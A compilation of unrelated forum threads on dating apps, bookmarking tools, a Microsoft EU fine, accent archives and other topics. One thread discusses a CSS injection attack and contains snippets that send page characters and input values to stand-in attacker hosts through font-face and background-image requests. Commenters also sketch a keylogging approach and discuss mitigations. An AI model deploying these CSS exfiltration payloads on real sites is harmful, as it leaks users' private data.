Can Women Build A Better Tinder? - <AUTHOR> https://medium.com/backchannel/can-women-build-a-better-tinder-f125b5c5250a#.dovpduqyv <comment><USER2> > _When a 34-year-old biologist is asked what she is looking for in a man, she > doesn't respond with a height requirement or a hair color. She pauses for a > moment, reflecting on a divorce and the French man who came after. He needs > to be there for her; she has to be sure of him. But the most important > thing, she says, as she points to her head: "It's all up here."_

Yeah, but that's merely what the woman _says_ she wants. That doesn't reflect what she might be impulsively attracted to.

<comment><USER3> Women tend to make all these "lists" for what they want in a man, and then fall for the "bad boy" that may match nothing on that list.

<comment><USER4> Men do the same thing. Though perhaps not the "bad girl", but we often fall for a type (of the many types) that's a lot of fun but terrible for long term relationships and leave the ones that have better long term potential out.

<comment><USER5> Have you met men who says otherwise? Isn't that why you have the meme "Don't stick your dick in crazy"?

<comment><USER4> You mean men with a list of what they want but never end up dating women that match it? Yes. Though less at my current age, most of my friends are married at this point.

<comment><USER5> No, I mean men who claim that they don't fall for the "wrong" women.

<comment><USER4> Yes. But mostly they're married at this point.

</comment></comment></comment></comment></comment></comment></comment><comment><USER6> I remember reading that Netflix practically ignores what you rate shows when generating recommendations, that using what you actually watch is much more accurate. You may have gave A Clockwork Orange 5 stars, but you binge watches Jersey Shore.

I imagine the same applies here. You might say height isn't a factor, but only picked men over 6'.

<comment><USER7> [https://en.wikipedia.org/wiki/Revealed_preference](https://en.wikipedia.org/wiki/Revealed_preference)

</comment></comment><comment><USER8> "A Better Tinder", to me, would be one that actually supports its original function, of being "a hook-up app." There are plenty of dating apps; but Tinder was supposed to be a unique value offering: "like Grindr, but for more than just gay men." But it failed to be that, because there was nothing stopping people from making profiles "just looking for friends" or "just looking for long-term relationships", like in any other dating app. (Obviously the "game mechanics" of Tinder are completely at odds with those uses—why pick _friends_ based on mutual physical-appearance attraction? But people still try.)

The best thing any social-networking app can do is to prune its userbase (i.e. ban people from the service) so that everyone who remains is actually using the service for its intended purpose. Then you don't need the initial extra step of both parties dancing around the question of "what are you on here looking for?"—if they're using the app, they're here for what the app is for.

<comment><USER9> Who says just hooking up was Tinder's "original function"? This is something users attributed to it because some people who are successful in using it this way brag about it and spread that reputation. This doesn't mean it was designed specifically for that purpose, though it might do it well.

<comment><USER10> My impression from watching an interview with the founder [0] is that just a hook up app is exactly what they don't want to be.

"Our vision from day one was to solve the problem that there is always someone you want to know, but you're afraid of rejection."

My view is that they built a hook up app and then raised a ton of money and now want to branch out and be taken seriously.

[0] [https://www.youtube.com/watch?v=yn1zDaFGpYs](https://www.youtube.com/watch?v=yn1zDaFGpYs)

</comment></comment></comment><comment><USER11> Granted, female-run dating startups are not immune from the same controversies as male-run dating startups.

The League, in particular, has received quite a few accusations of being elitist/racist _because_ of its selectivity, and the culture that it implies: [http://www.buzzfeed.com/jarrylee/tinder-for- elites](http://www.buzzfeed.com/jarrylee/tinder-for-elites)

The Dating Ring, a Y Combinator-funded dating startup, was also involved in some _interesting_ Hacker News drama regarding spamming OKCupid users. [https://news.ycombinator.com/item?id=8454405](https://news.ycombinator.com/item?id=8454405)

The dating industry in general is iffy; it's hard to isolate what works better and what doesn't when everyone is reluctant to release data.

</comment><comment><USER12> _When a 34-year-old biologist is asked what she is looking for in a man, she doesn't respond with a height requirement_

The research on the topic is quite clear that across all ages, across all cultures, and across all races, heterosexual womens' unspoken but critically important criteria in mate selection is height.

<comment><USER13> do you even have proof?

<comment><USER14> [http://blog.okcupid.com/index.php/the-biggest-lies-in- online...](http://blog.okcupid.com/index.php/the-biggest-lies-in-online- dating/)

Not especially good evidence that women care, but it certainly looks like men do.

<comment><USER15> That doesn't invalidate his comment. You have to ask yourself _why_ are men exaggerating their height by two inches on average?

They wouldn't exaggerate their height if it wasn't an important factor in potential mates. And the data confirms it: "We've found that taller people, up to a point, have more sex". You see on the graph that the "frequency of sex" (unlabeled y-axis) increases for men up to 6'8".

</comment></comment></comment></comment><comment><USER16> "It is fucking exhausting. Especially for heterosexual women."

"I found myself having semi-intelligent exchanges with adult men. On a dating site. This was new!"

Etc.

Also it's an ad for bumble. There's some interesting points, but as usual tired of filtering the pages of pure and repetitive noise.

<comment><USER17> An hour ago I'd never heard of bumble. Now I've heard of it through two unrelated articles found on two different social news sites.

Bumble's PR people deserve a pat on the back (and the profession of modern journalism deserves a kick in the head).

<comment><USER18> Did you happen to read a Daily Mail link? That was an unabashed ad whereas this could just be a blog post.

</comment></comment></comment><comment><USER19>
        Bumble's landmark feature is that women must
        take the initiative on all conversations

It's cool that they bake this into their platform. This was always how I approached online dating through OKCupid, and it worked out far, far better for me than messaging women. Perhaps not surprisingly, it seems that an average woman on OKC receives an order of magnitude more 'likes' and messages than I ever received (or more!). By only engaging with women who'd reached out to me in some capacity, it was much, much easier to actually meet people (like, e.g. my girlfriend of nine months).

</comment><comment><USER20> [http://paulgraham.com/submarine.html](http://paulgraham.com/submarine.html)

</comment><comment><USER21> Bumble is pretty lolworthy, ostensibly built on a fundamental misunderstanding of male/female dynamics. Good job raising money from naive investors though, uh, I guess.

<comment><USER22> Whether or not the premise makes sense, I've landed way more actual dates with much more attractive women (physically, and also in terms of personality, education, career, etc.) on Bumble than Tinder.

It might have nothing to do with male/female dynamics, and may just have something to do with a better UI/UX (which Tinder seems to have lifted heavily from in their last update), or a lack of spam bots (seriously, a third of my Tinder matches are spam bots linking to the same URLs over and over -- how is this still an issue??).

Investors are likely considering the growth, rather than the theory. Whatever the underlying reason, from one user's perspective, Bumble's growth seems very impressive.

</comment></comment><comment><USER23> The subtitle is "Why the best dating apps are founded by people who aren't dicks." Does the article explain why the founders of other dating apps are dicks? Or is it just because they're men?

<comment><USER22> I can't speak to other sites, but there are lots of stories online about why the Tinder founders are dicks.

</comment></comment><comment><USER24> This is all but a sponsored post for Bumble that's basically just a long form advertisement masquerading as a think-piece.

Based just on what we know from OkCupid's excellent analytics blog back in the day, there's nothing about their business model that suggests they'll be successful. The founders are non-technical, the business model isn't data- driven, and there are lots of questionable design decisions throughout.

They're getting a large amount of positive press from people who share their apparent ideology, but there's no actual information being put out. They're closed source, privately held, and don't publish any meaningful usage statistics, so what do we know about them other than they have good PR people?

</comment><comment><USER25> Building a "better" Tinder seems like writing a convincing email for the advanced fee scam.

It appeals to the wrong people. The Nigerian prince scam works because it effectively filters anyone who wouldn't send money to a stranger emailing them out of the blue. Making Tinder "better" would draw in people who are not interested in what is essentially a hook-up app.

</comment><comment><USER26> this bumble app is getting so much pr, but it seems like only the journalists are using it

<comment><USER27> They don't even have an Android app! I don't know how they expect to be taken seriously. They're doing a bunch of PR like this and appearing on The Daily Show with Trevor Noah, but it doesn't seem like they're actually ready yet.

</comment></comment><comment><USER28> There are a number of things I disagree with in this piece. (I will mention that I think trying different approaches to online dating is a great idea in and of itself. I don't disagree with the app's existence, but rather the way it is being presented here.)

> The mainstream online dating technologies — OkCupid, Match.com, eHarmony — > were all founded by men. So it's no surprise that most popular dating > products cater to male user problems.

The first part is true, but the second is non sequitur. I'd also like to ask: what is a "male user problem"? Although the wants of men and and women are somewhat different, I think it's probably a bad idea to paint genders with stereotypes in this way.

> Bumble's landmark feature is that women must take the initiative on all > conversations.

> He is most likely tired of reaching out blindly to women all the time," she > tells me. "Maybe he feels rejected. He feels ignored."

This sounds very interesting, and good on the founders of the app for trying something new.

> Though she is extremely limited legally in talking about her experience at > Tinder — they have since settled out of court — _I wonder_ if her negative > experiences there inform her dating theories now. _Perhaps_ as a hint of > Bumble's influence, last week Tinder announced that users could now include > details on education and work. [emphasis mine]

The author "wonders" if "perhaps" there is influence from Bumble on Tinder. In other words, this paragraph has no factual standing.

> If you are a male entrepreneur, approaching the problem of online dating > from your point of view, the goal would be to provide male users with more > women.

This statement seems presumptuous. It's not about males vs. females! It's about new ideas! Past platforms take a traditional view to dating, Bumble likes to change things up, and this is a novel thing. This piece turns a novel concept into gender politics and boils down entire companies to the gender of the person at their helm. Bumble won't succeed just because its founder is a woman: Bumble will succeed because it's a new concept from a different perspective, executed by someone who is smart and has experience. You're erasing Whitney Wolfe and writing "all women", which seems demeaning.

> This isn't to say that all men approach online dating haphazardly, without > goals or specific desires. But [...]

This comment isn't to say that this article is poorly written. But, look at all of the evidence above and think for yourself. (I mentioned another argument to look objective... but never gave it any evidence, so the reader will take my subjective perspective as fact.)

> But with these online dating innovations, the tech industry just might > realize what they've long been ignoring: women's experiences matter, too.

No one's ignoring women's experiences. The founders of the mainstream dating apps simply have their market and refuse to pivot because they have shareholders and investors that would rather they not change the model so immediately and drastically. What we have now is a result of a function of market forces rather than a function of gender.

I think the idea behind Bumble is very interesting, and I'm glad there are startups trying something new in the dating scene. I'd actually like to try one of these in due time. But this article just looks... bad. It turns independent, strong, intelligent people into the stereotype of "female entrepreneur".

<comment><USER29> >> If you are a male entrepreneur, approaching the problem of online dating from your point of view, the goal would be to provide male users with more women.

>This statement seems presumptuous. It's not about males vs. females! It's about new ideas!

Yours is a very generous comment on a highly misandrist statement. The fact that a dating app creator/founder/owner is male doesn't mean that they must therefore have designed the app "to provide males with more women".

Even if they are using "online dating" euphemistically to refer to hook-up apps then they're making the classic mistake of assuming females aren't interested in sex and males are solely motivated by acquiring a quantity of it. Sure, subsets of those populations exist that fit the bill but the reverse associations also exist at some level.

Does this mean the founders of Bumble want "to provide females with more men" above all else?

<comment><USER28> I also alluded to this with the "male user problem" and with the market forces concept. Women like sex too. I won't call it misandrist for the reasons I don't like being called misogynist. But yes, there are many things wrong with the piece rooted in unintelligible and illogical gender politics.

I wish this piece didn't exist, because it makes the world a worse place.

</comment></comment></comment><comment><USER30> Tinder actually had a female cofounder. And it wouldn't work if women wouldn't use it. What a silly article.

<comment><USER31> As you and the article mentioned, it did have a female co-founder. And she has since left Tinder and founded Bumble, the app the article mostly focuses on.

<comment><USER30> The premise in the first part of the article was that Dating apps suck because they are not made by women. At the same time they bashed Tinder, which was cofounded by a woman - so the article's premise is obviously absurd and I didn't read on. That the cofounder went on to start Bumble doesn't change that.

<comment><USER22> An app being "cofounded" by a woman and an app being "made" by a woman are two different things. For example, perhaps her input was dismissed by her male cofounders (who, incidentally, tried to strip her of her cofounder title because they thought it would be embarrassing to have a female cofounder).

<comment><USER30> Yeah - whatever. So why, in your opinion, did no women step up earlier to create a dating app, if that is even true (there are a lot of dating apps in existence)?

If you believe the spin of the article, that women make better dating apps and men are not interested in making good apps for women - OK. More power to you. Enjoy Bumble, I guess.

<comment><USER22> > _So why, in your opinion, did no women step up earlier to create a dating > app_

Why haven't women stepped up earlier to create apps in all categories? It's a complicated question and one I cannot answer. But among women-created apps, dating apps currently seem to be well represented. This _may_ suggest that prior dating apps and sites have been deficient in serving the needs of these founders, and they think there is a still a problem to be solved in this space.

Whether or not this is the case, I don't know, but their belief is not getting under my skin.

> _If you believe the spin of the article, that women make better dating apps > and men are not interested in making good apps for women_

I believe that it's _possible_ for people who are not white males to bring a different perspective to the table, and I believe this can _potentially_ serve as a competitive advantage in business.

Whether or not this holds true for Bumble, I again don't know. I didn't know any of this backstory about Bumble before today, I just knew it had a better selection of women, a better interface, and that I've gotten more dates on it than on Tinder. By comparison, Tinder primary purpose seems to be connecting me to spam bots.

<comment><USER30> I've never used Tinder nor Bumble, nor do I hope to do so in the future because it would imply that I had a divorce. I just know that nothing prevents women from picking up a keyboard and coding any app they like. That's why I call bullshit on the article.

For sure Dating Apps still can be improved, although I doubt that you need a specific gender or race to qualify for making a better Dating App.</comment></comment></comment></comment></comment></comment></comment>


Best app/software for Bookmark organizing? - <AUTHOR>

I'm looking for something better than the usual Chrome Bookmarks or Delicious, I have hundreds of urls that I need to organize... any suggestions please? <comment><USER2> <http://pinboard.in> is my bookmarking organizer of choice. Simple. Powerful. Fast. Initial entry fee (<$10 right now I think), but in my opinion worth it.

<comment><USER3> Another vote for Pinboard. I have several thousand bookmarks stored there, and have been a user for nearly 2 years.

<comment><AUTHOR> I think I'm going with Pinboard! Seems like the service I've been in desperate need of. Thanks

</comment></comment></comment><comment><USER4> I have been using <http://kippt.com> for quite some time now and it is great not only to organize your bookmarks but to find new interesting links as well.

</comment><comment><USER5> licorize.com or pinboard.in

</comment><comment><USER6> miitla.com</comment>


Microsoft Appeals 899 Million Euro Fine to EU Court  - <AUTHOR> http://www.bloomberg.com/apps/news?pid=20601087&sid=aFpXl7.5U_a4

<comment><AUTHOR> "The European Commission in February said it is had fined the U.S. software giant 899 million euros for failure to comply with the EU executive's antitrust decision against the company some four years ago." [1]

899 euros = $1.4 billion.

No matter how much you hate Microsoft, this is ridiculous.

[1] [http://www.forbes.com/afxnewslimited/feeds/afx/2008/05/09/af...](http://www.forbes.com/afxnewslimited/feeds/afx/2008/05/09/afx4991509.html)</comment>


The Typography and Layout behind the new Signal vs. Noise redesign - <AUTHOR> http://37signals.com/svn/posts/3285-the-typography-and-layout-behind-the-new-signal-vs-noise-redesign

<comment><USER2> Interestingly, I found this kind of hard to read. I think there's just too much leading in the body text - I could feel my eye moving as I was reading. Decreasing the line height to 1.25em felt better to me.</comment>


Speech accent archive (English) - <AUTHOR> http://accent.gmu.edu/ <comment><USER2> The paragraph is pretty Americanised ... dropped conjunctions all over the place. "we will go _and_ meet her _on_ Wednesday at the train station". Most of the speakers that likely learnt British English trip up over this sentence.

<comment><USER3> Well spotted; in fact one of the Scots speakers says 'go to meet her' by accident, and the other one says 'meet her on Wednesday'.

</comment></comment><comment><USER4> Bummed there isn't an example of old-timey, upper-class peninsular Charleston, SC accent. By and large, these people don't live there anymore, but it's an amazing, strange, beautiful accent.

[http://www.youtube.com/watch?v=rxNZrFyl2DA&t=37m0s](http://www.youtube.com/watch?v=rxNZrFyl2DA&t=37m0s)

[http://www.youtube.com/watch?v=RxkuXg7FZqo&t=0m20s](http://www.youtube.com/watch?v=RxkuXg7FZqo&t=0m20s)

[http://www.youtube.com/watch?v=PJv9t80pufc&t=2m35s](http://www.youtube.com/watch?v=PJv9t80pufc&t=2m35s)

<comment><USER5> Woah, that's a crazy accent. It's like a Virginia Gentlemen accent had a baby with an upper class Boston accent and somewhere in there is a French Canadian grandparent. The vowels are so proper and Southern, but the non-Rhotic finals are crazy.

I'm listening to [http://www.youtube.com/watch?v=PJv9t80pufc&t=2m35s](http://www.youtube.com/watch?v=PJv9t80pufc&t=2m35s)

"Ten Years Ago" is literally made up of pieces of several different accents. "Tee-un Yee-ahs Ago-uh"

Then every other "r" is said, until he gets to "contributuhs".

I might be mistaken but I think he also rhoticises his final "ls". I bet he also says "law" like "lawr".

"Fourth of July" turns into "Fowth of Joooo-lie" and then he says "articulate" perfectly normal.

"ways" -> "wuuh-ehs"

"know" -> sounds like Canadian "knoo"

"mortgage" -> "mow-gayj"

actually I almost can't predict how he'll pronounce one word to another, just when I start to think I got an ear for it, then he'll throw in something like "manufacturing"->"man-oo-fact-yoo-rin"

</comment></comment><comment><USER6> For anyone who's into this kind of stuff, the International Dialects of English Archive[1] is an awesome resource. I've used it a lot to practice accents for acting roles.

[1][http://www.dialectsarchive.com/](http://www.dialectsarchive.com/)

<comment><USER7> this is absolutely fascinating. thanks for sharing.

</comment></comment><comment><USER8> It's interesting and rare to see my university in the news. It would be interesting to build language and acoustic models for these accents to improve speech recognition, but there isn't nearly enough data to do that.

<comment><USER5> In the last 10-15 years, GMU has _exploded_ as a regional university in the mid-Atlantic. It's a huge change from the small commuter school it used to be back in the 80's and 90's. I think it's for the best, Northern Virginia has no world class universities despite being one of the largest metro-areas in the U.S. It's geographically in a prime location to assume that mantle.

I have relatives as far afield as Arkansas trying desperately to get their kids into it, only to be disappointed when they don't and end up having to send their kids to Georgetown or UMB or something. It's apparently become quite selective.

Also, if you want to hear about it in the news, a few of the faculty from literature and a couple other departments are constantly on NPR. Which is interesting because since NPR is in D.C., you'd expect them to have more faculty from GWU and Georgetown. I think I hear "George Mason" on the radio at least once a week these days.

I looked up the rankings [https://en.wikipedia.org/wiki/George_Mason_University](https://en.wikipedia.org/wiki/George_Mason_University)

And apparently it's pretty solidly a Tier-1 school now. Kinda crazy, it used to just be this weird tier-3 local offshoot of UVA.

<comment><USER8> As a current student at GMU, I'm not so sure I'd call it a Tier-1 school just yet. It's still got a lot of improvement to do, but it has definitely grown incredibly fast even in the time I've been here. My mother is also a graduate of GMU and my father went to GMU for a short time before completing his degree at College Park, so I've seen Mason grow throughout my childhood and now into my adult life.

People in the NoVa area don't really seem to treat GMU the way they treat UVA or VTech or even VCU. I'm glad it's starting to be treated seriously. It's just odd seeing GMU cited more and more often as a serious research school in the same sentence as other more well-known universities when people in the NoVa university don't share that same level of respect.

My comments about rarely hearing GMU's name were more targeted towards how much I hear it in the news. I listen to NPR on a daily basis and broadcasters or guests on different shows frequently name studies from universities like Princeton and Yale and Carnegie Mellon but I've only started hearing GMU's name come up on non-University topics within the past month or so. I've heard studies cited by GMU in different fields cited 3-4 times this week already.

<comment><USER5> I wasn't really aware GMU had a major research arm - is this relatively new? I grew up in the D.C. Metro Area and really just remember it as that weird local commuter school with a basketball stadium that the circus came to and the performing arts center. Growing up we had a grad student who rented a room and was in the choir. We used to go to her performances every once in a while. I've been the campus a few times in the last decade or so, and I used to visit the old weird library on the quad to study when I was in High School.

If they're growing their research arm, that can have a huge impact on the academic reputation of the school. It'll get them lots of name recognition.

But yeah, it definitely doesn't have the local reputation yet because we all remember it for what it used to be, a kind of community college that happened to offer 4-year programs.

I was really surprised when my relatives and friend's kids who are college aged started bringing it up in conversation about applications alongside of much more recognizable school name. I guess in the high-school guidance departments it's gotten quite a good name.

Times change I guess?

</comment></comment></comment></comment><comment><USER9> Very cool. I wonder where the quote came from:

        Please call Stella.  Ask her to bring these things with her from the
        store:  Six spoons of fresh snow peas, five thick slabs of blue cheese,
        and maybe a snack for her brother Bob.  We also need a small plastic
        snake and a big toy frog for the kids.  She can scoop these things into
        three red bags, and we will go meet her Wednesday at the train station.

Is it some sort of "the quick brown fox" quote, that tests a complete range of sounds? Anyone know the history?

<comment><USER10> I think it is a tongue twister designed for observation of pronunciation. I read Edith Skinner's "Speaking with Distinction" and there are a lot of similar tongue twisters for practicing vowels and consonants clusters.

Also you can find out a lot of old tongue twisters for English in elocution textbooks in 19th century from archive.org..

</comment></comment><comment><USER11> The samples presented aren't always representative of the accents of the region. For instance, english57 is much closer to a 'typical' Birmingham/midlands accent than english2.

Awesome archive all the same!

</comment><comment><USER12> Interesting archive. I also found an audio archive for Yiddish dialects:

* by location: [http://eydes.de/UsrAA1E0667HF/index/li/li.html](http://eydes.de/UsrAA1E0667HF/index/li/li.html)

* by words: [http://eydes.de/UsrAA1E0667HF/index/wi2/wi2.html](http://eydes.de/UsrAA1E0667HF/index/wi2/wi2.html)

* main page: [http://eydes.de/UsrAA1E0667HF/index/](http://eydes.de/UsrAA1E0667HF/index/)

</comment><comment><USER13> I would be very interested to see if providing speaker locale as a feature to a machine learning algorithm would increase its performance for speech recognition.

<comment><USER10> that's probably a wrong assumptions. it is more related to the first language. locale may give wrong correlations.

</comment></comment><comment><USER14> The guy from Henley on Thames was the best (speakerid=70).

<comment><USER15> It is interesting. To my ear he's got a pretty standard Southern (West London to Oxford) accent but with, I think, a bit of poor North London creeping in there too ("we also need").

Before I noticed the biog I guessed he was ~70 (it says 69). Would have been great to have more biographical information - often you can hear a few accents in someone's speech and sometimes guess their geographical progression (in the UK at least).

</comment></comment><comment><USER16> Quicktime fail.

</comment><comment><USER17> Quicktime?

</comment><comment><USER18> Distinct lack of Derbyshire accents!

<comment><USER19> and I couldn't find a single Geordie, either! (I'm not one, so I can't provide anything but a simulated, and almost certainly wrong, sample.)

<comment><USER20> No Cornish either, shocking! I would submit a sample but I don't fancy being an exemplary case - accents are serious business!

</comment></comment></comment><comment><USER21> How about all those people who learned english as a second language and then went to live in various english speaking countries? My accent is a weird mix of Italian/Irish/Northern UK sounds, it wouldn't fit anywhere in that list..

</comment><comment><USER19> I listened to too many before stopping myself (maybe 40 or 50)... I was struck by how similar they all were. When I try to imitate an accent, I think I must exaggerate the differences from my natural speech too much. Interesting.

</comment><comment><USER22> There's also the British Library's archive of Accents & Dialects.

[http://sounds.bl.uk/Accents-and-dialects](http://sounds.bl.uk/Accents-and- dialects)

</comment><comment><USER23> I don't know much about accents, but I wonder if it'd be possible to match different accents and see how well they'd understand eachother.</comment>


JavaScript Graph Plotting Tool (div not canvas) - <AUTHOR> http://ajaxian.com/archives/javascript-graph-plotting-tool

<comment><USER2> Very cool but definitely NOT open source and thus, from what I can tell, not applicable for being used in your own app w/o licensing or something he rolls out in the future. Still great work.

<comment><USER3> It's not GPL, but it's JS, so you can look at it :-)

<comment><USER2> you are correct - I just assumed it would have been obfuscated/minified!

</comment></comment></comment><comment><USER4> Yeah this is definitely really cool, and great UI imo. Could be used to bring the TI-83 to the browser. Lord knows we need an intuitive interface to bring both simple and complex mathematical operations (from pre-algebra to...calculus, linear algebra, diff eq, and some statistics) to the browser. With no Flash! This could definitely be a step in the right direction.</comment>


CSS Based Attack fontface - <AUTHOR> http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html <comment> jo-han Nice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example:

      @font-face {
        font-family: poc;
        src: url(http://attacker.example.com/?ff); /* ff */
        unicode-range: U+FB00;
      }

      #sensitive-information {
        font-family: poc;
        font-variant-ligatures: common-ligatures;
      }

(edit: improved formatting/explanation)

<comment><USER2> I don't see how this would work. When the browser renders an "ff" ligature, it does not do so by converting every "ff" in the input into U+FB00, as such it will never use this font unless the user input actually contains U+FB00 which is unlikely.

<comment> jo-han Khaled, you're right - it doesn't work. The characters are not substituted. I made a quick proof of concept, but it triggered for the wrong reasons. Bummer.

</comment></comment></comment><comment><USER3> Neat, but don't think its exploitable in reality, but neat indeed.

Did a bit of play around with it and it does seem to work on input fields but fortunately not on password type fields (which is logical, considering the browser is not rendering the actual characters for password fields)

[http://lepunk.co.uk/font_face.html](http://lepunk.co.uk/font_face.html)

<comment><USER4> I can't make this work on my side, both Chromium and Firefox block the requests for the font resources from l0.cm (because CORS policy):

        Font from origin 'http://l0.cm' has been blocked from loading by Cross-Origin Resource Sharing policy:
        No 'Access-Control-Allow-Origin' header is present on the requested resource.
        Origin 'http://lepunk.co.uk' is therefore not allowed access.

<comment><USER5> That warning just stops the font from being visible to the victim.

I'm pretty sure the requests still go to the attacker.

<comment><USER4> > I'm pretty sure the requests still go to the attacker

You are right, they do, it's just that the returned data is not allowed to be seen/used by the page -- the "l0.cm" server still got the information.

</comment></comment></comment></comment><comment><USER6> Another interesting way of getting attribute values is using...

      [value*=a] {
        background-image: url('attacker.org/lolz.png?a');
      }

      [value*=b] {
        background-image: url('attacker.org/lolz.png?b');
      }

It can work on passwords too by the way, maybe it can give you an idea of the order based on the query order, and remember... this work only if the data got already loaded or the attribute got changed by JavaScript and not by manually typing...

Edit: Tested that but it load the last bg only (make sense), so you need to use animation for that to load them one after one.

<comment><USER7> you could probably combine this with the font-face trick to target different letters

</comment></comment><comment><USER8> The issue on Chrome's bug tracker [0] that he's linking to appears to return a 403 error. Perhaps they changed their mind on WontFixing it?

[0] [https://code.google.com/p/chromium/issues/detail?id=543078](https://code.google.com/p/chromium/issues/detail?id=543078)

</comment><comment><USER9> Presumably a possible target for this would be reddit, where users can upload custom CSS to style their subreddits?

You could at least get the username, subscribed subreddits, and some debug info (such as the country code) this way...

<comment><USER10> They don't let you use urls. To use images in their custom stylesheet you have to upload it to reddit, then use a special code or something, that gets replaced with the image url.

</comment></comment><comment><USER11> I have to admit, I'm a bit confused about what is actually happening here. Can someone ELI5?

<comment><USER12> They're setting custom fonts, but specifying the fonts should only be used for particular characters.

This attack assumes the attacker has some way of getting CSS they wrote onto the target website, via some other exploit.

The attacker then hosts many font files on a webserver they control. Let's call the fonts "a", "b", "c", and so on.

They then inject the CSS to set the font for text on the target page to their custom fonts - but tell it "use font a for all of the 'a' characters" and so on.

By observing which fonts are downloaded from their webserver, they can learn information on which characters are and are not present on the page.

<comment><USER11> Okay, I understand now. Thanks.

<comment><USER13> If it's helpful: the "sting" of this attack is that it works even when you can't inject Javascript into the page; that's why it's referred to as an "HTML injection attack".

The canonical HTML injection attack is cross-site scripting --- it's so canonical, in fact, that we usually just think about XSS, and not the generalized flaw of HTML injection. This is an illustration of how even closing off Javascript as an attack vector doesn't stop HTML injection attacks from working.

See also:

[http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)

<comment><USER14> If you get HTML/CSS control isn't that game over? If I can get HTML loaded into your Gmail tab, then I can setup a fake login or "Please re-enter your password to continue" that has a form action of myserver. (Which then just redirects you to wherever you were.)

Injecting scripting is cute because it's far more flexible, but I'd guess an HTML injection is enough to get a fairly high rate of success, albeit a bit more noticeably.

<comment><USER13> Generally, we think of browser-based game-overs as being things that programmatically compromise users without engaging with the user's cognition.

<comment><USER14> Fair enough. Though in practise a HTML inject on a login page will have the same impact, usually eh?

</comment></comment></comment></comment></comment></comment></comment><comment><USER15> This can give you the characters but not their ordering or frequency. Still, it's a nice information leak. Yet another reason to disable custom fonts.

<comment><USER16> > Yet another reason to disable custom fonts

[https://news.ycombinator.com/item?id=10492028](https://news.ycombinator.com/item?id=10492028)

</comment></comment><comment><USER17> What would the attack vector be for something like this?

<comment><USER18> Same as most html injection attacks. I haven't tested as I'm on the way to work, but I will try to craft the attack as follows:

1: discover html attribute vulnerable to this. 2: craft payload as a link, for Dom, reflected or stored. 3: watch them type characters as rules are triggered. (Is this possible to use as a key logger?!)

So that's general, then more specifically As an attacker I would probably trigger a password lock of the target where the user has to enter security questions. Then gather that information. Another reason to hate security questions.

Remediation:

Output encode in the proper context! This most certainly qualifies as the exact reason why your fancy blacklist (or whitelist) filter set is not the proper mitigation for xss. In the above scenario, The attacker is injecting rules as inline css in the context of an html attribute, so then output encode in that context.

Also I need to check if it can bypass the CSP in any way, though I doubt it.

Sorry for the organization or this post, as I mentioned im on the train.

</comment></comment><comment><USER4> When I try the proofs of concept in Firefox 41, I see all font requests being done at once at page load time, regardless of whether the font resource is used or not. This actually foils the exploit.

I suppose this is the way to mitigate the issue, to download unconditionally all the font resources for which the `unicode-range` is smaller than a minimum number of characters?

<comment><USER2> That is because release builds of Firefox does not support unicode-range, it just downloads all the fonts. But for unicode-range to be really supported, it must only download the fonts for ranges used in the page, as this feature is usually used to split huge fonts (like CJK ones) and let the browser only downloads what is really needed.

</comment></comment><comment><USER19> Might be useful in conjunction with a path-relative stylesheet include.

[http://blog.portswigger.net/2015/02/prssi.html](http://blog.portswigger.net/2015/02/prssi.html)

</comment><comment><USER7> you could combine this with ::first-letter and custom selectors for each item of interest to get more specific data from targeted page elements...

If there was a way to target n-th letter in css, you could also get the full plaintext of an element with a huge number of font-face / selector combinations

</comment><comment><USER20> This is another attack that is also preventable using NoScript, which blocks web fonts.

Unless you trust the site.

</comment><comment><USER21> Could this be used within email messages? I know that some CSS is allowed in emails.

<comment><USER22> The short answer is probably not, for the simple reason that CSS and HTML support in email is generally pretty poor. Most webmail clients rely on having to rewrite CSS (for obvious reasons), which means that properties tend to be on a whitelist rather than a blacklist, and I think @font-face is usually not on that list. For many clients, there is also hopefully remote resource load prevention that prevents it from working.</comment></comment>


How twentysomethings are coping with the recession. - <AUTHOR> http://www.slate.com/id/2214712/

<comment><USER3> Classic Slate-reader cocoon types:

1) Works for a library/museum-centric non-profit (degree unknown)

2) Works for a political campaign, expensive degree from private university (BU)

3) Works for local government (degree unknown)

4) Left job with architecture firm due to move, current job unknown

5) No job, MA in English, can't afford to get desired PhD in Literature/Women's Studies (sob!)

So basically, not a single person (bar possibly #4) willing to get their hands dirty in the private-sector business world. Also, not a single male. What exactly are we supposed to take from this?

<comment><USER4> That if you want to get laid, it helps to major in liberal arts?

<comment><USER5> Not necessarily. Just start conversations with a low impedance to join. That's why a common greeting is "Nice day, isn't it", instead of, "I was debugging some comonads in Haskell the other day".

<comment><USER6> But comonads are so much more fun!

</comment></comment></comment></comment><comment><USER7> This 25 year old is enjoying a new high paying job (that he absolutely loves) after leaving the military. After one month of employment we've eliminated half our credit card debt and will tackle the rest over the course of the next six months. We're currently shopping for our second vehicle and educating ourselves on the VA Home Loan process as we intend to buy a home at the end of the year.

<comment><USER6> 27 here, working at Google and loving it, saving close to 80% of my monthly take-home pay. Debt free, with investments relatively intact.

However, I've got a friend from college (history major) who's about to turn 26. She's ensconced in grad school now, but previously had a string of temp/secretarial jobs. She wrote this lately:

"What's really got me bugged is the possibility that I might do everything right, I might have been a good student, good friend, good worker, good citizen, and still might not ever have a home or a family. That I might have done everything a "successful" person does, yet end up with none of the things I truly wanted most. It's not that I have a specific image of that "picket- fence" life. I'm not worried about "having it all"; it's the fact that I might not be able to swing any of it.

"If I knew this in high school, I'd have done more drugs."

It seems like one's success in today's world is directly proportional to your ability to believe that all your elders are lying to you. I was always pretty contemptuous of authority, so I did the end run around all my teachers and school administrators and taught myself stuff - stuff that was useful outside of school, not just inside the academic bubble.

Perhaps this is as it should be - I remember in one upper-level physics class, the professor said "You should be getting most of this out of the textbook" and a student helpfully added "Or in class." The teacher said, "No. If you're only learning from class, you're in trouble. I should be mostly superfluous." The students were basically flabbergasted.

But if your success is proportional to how much you believe authority figures are lying to you, what does that mean for the authority figures? "Fool me once, shame on you. Fool me twice, shame on me." What happens to the social structure when people realize their leaders are basically lying, cheating, and stealing from them?

<comment><USER8> This is a more banal explanation, but majoring in something more useful than history might have helped. My sister is about to graduate with a BA in history and she can't find a job either.

Put another way, I study CS and I've never had a hard time finding work...and I don't owe it to mistrust of my elders.

<comment><USER6> When I was looking at schools, the advice I got was "Just get a degree. It doesn't matter what it's in - employers like liberal arts as much as technical fields because it shows that you know how to think. While if you get a degree in something specific like engineering, your job will probably end up outsourced to India."

